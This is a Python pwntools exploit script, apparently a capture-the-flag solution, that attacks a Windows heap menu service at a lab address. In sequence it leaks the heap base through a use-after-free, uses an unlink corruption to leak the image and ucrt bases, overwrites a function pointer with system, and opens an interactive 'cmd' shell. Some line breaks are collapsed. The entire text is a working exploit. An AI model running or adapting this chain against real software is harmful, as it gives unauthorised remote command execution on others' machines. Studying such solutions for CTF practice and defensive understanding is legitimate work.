```pythonfrom pwn import *#context.log_level = 'debug'ip = "10.10.10.137";port = 8888io = remote(ip,port)
sla         = lambda delim,data           :  (io.sendlineafter(delim, data))add         = lambda size           	  :  (sla("option >\r\n", '1'),sla("size >\r\n", str(size)))show        = lambda index                :  (sla("option >\r\n", '3'),sla("index >\r\n", str(index)))edit        = lambda index,data           :  (sla("option >\r\n", '4'),sla("index >\r\n", str(index)),sla("content  >\r\n", data))free        = lambda index                :  (sla("option >\r\n", '2'),sla("index >\r\n", str(index)))uu32        = lambda data                 :  u32(data.ljust(4, b'\0'))
# UAF to leak heapwhile(1):    add(32);add(32);add(32)                                         # free block0/1, the fd is point to the largest free chunk, it can success leak    free(1);show(1)                                                 # can't free block2 , because it will merge to the largest free chunk.     heap_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x630     # and the fd will point to heap_base+0x00c4, it contains NULL byte.    if heap_base > 0x1000000 :                                      # if the heap_base less than 4 byte, the next step to leak image_base can't success        break                                                       # because when we leak image_base, before the image_base is the heap_addr     io.close();io = remote(ip,port)
log.warn("heap_base:" + hex(heap_base))list_addr = heap_base + 0x578block0    = list_addrblock1    = list_addr + 8
# use unlink to make a loop and leak image_baseedit(1,p32(block1)+p32(block1+4))                                   # *(block1 + 4) = block1 + 4 , when show block1, it can leak data in listadd(32);show(1);                                                    # add(32) or free(0) both can trigger unlinkio.recv(4)                                                          # 4 byte heap_addr,if it's only 3 byte, it will be stop to print due to NULL byteimage_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x1043log.warn("image_base:" + hex(image_base))
# use loop to leak ucrtputs_iat = image_base + 0x20c4edit(1, p32(puts_iat)+p32(0)+p32(block0));show(1)                   # modify block2content point to block0ucrt_base = u32(io.recv(4))-0xb89f0log.warn("ucrt_base:" + hex(ucrt_base))system = ucrt_base+0xefda0
# modify func pointer to system and tigger itedit(0, 'cmd\x00')                                                  # normal write, add "cmd" to block0contentedit(2, p32(system)+p32(heap_base+0x600))                           # modify block0 func to system and repair block0contentshow(0)                                                             # trigger system(cmd)io.interactive()```